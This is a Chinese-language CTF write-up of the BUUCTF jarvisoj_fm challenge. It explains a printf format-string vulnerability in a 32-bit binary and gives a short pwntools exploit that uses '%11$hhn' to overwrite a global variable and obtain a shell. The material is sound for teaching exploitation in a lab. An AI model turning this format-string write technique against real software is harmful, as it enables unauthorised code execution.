BUUCTF 刷题 jarvisoj_fm

题目:BUUCTF在线评测

checksec一下,32位程序,有canary,开NX

    Arch:     i386-32-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

放到ida里f5一下,发现一个明显的printf格式化字符串漏洞,我们需要控制x的值为4,就可以获得binsh

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf; // [esp+2Ch] [ebp-5Ch]unsigned int v5; // [esp+7Ch] [ebp-Ch]v5 = __readgsdword(0x14u);be_nice_to_people();memset(&buf, 0, 0x50u);read(0, &buf, 0x50u);printf(&buf);printf("%d!\n", x);if ( x == 4 ){puts("running sh...");system("/bin/sh");}return 0;
}

格式化字符串研究了一会,这个算是比较简单的了。改写data段里的x。先用笨方法获得我们格式化字符串传参的地址偏移,发现是第11个。

aaaa--0xfffb6cec--0x50--0xc2--(nil)--0xc30000--(nil)--0xfffb6de4--(nil)--(nil)--0x50--0x61616161--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d--0x70252d2d3!

“%n”是从栈上取一个地址,往这个地址里写入前面字节数的数(解释不清有点)。有个栗子吧:“%100c”是100个字符,“%100c%n”就是往地址里写100这个数字。其中要注意的是,“%hhn”是每次以一个字节写入,“%hn”是每次以两个字节写入,“%n”是每次以四个字节写入,这道题要我们把x改为4,所以用哪个都可。

exp:

from pwn import *context(os = 'linux',arch = 'i386',log_level = 'debug')
r = process('./fm')
#r = remote('node4.buuoj.cn','26001')x_addr = 0x0804A02C#payload = 'aaaa' + '--%p'*20
payload = p32(x_addr) + '%11$hhn'
r.sendline(payload)r.interactive()
~                   


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部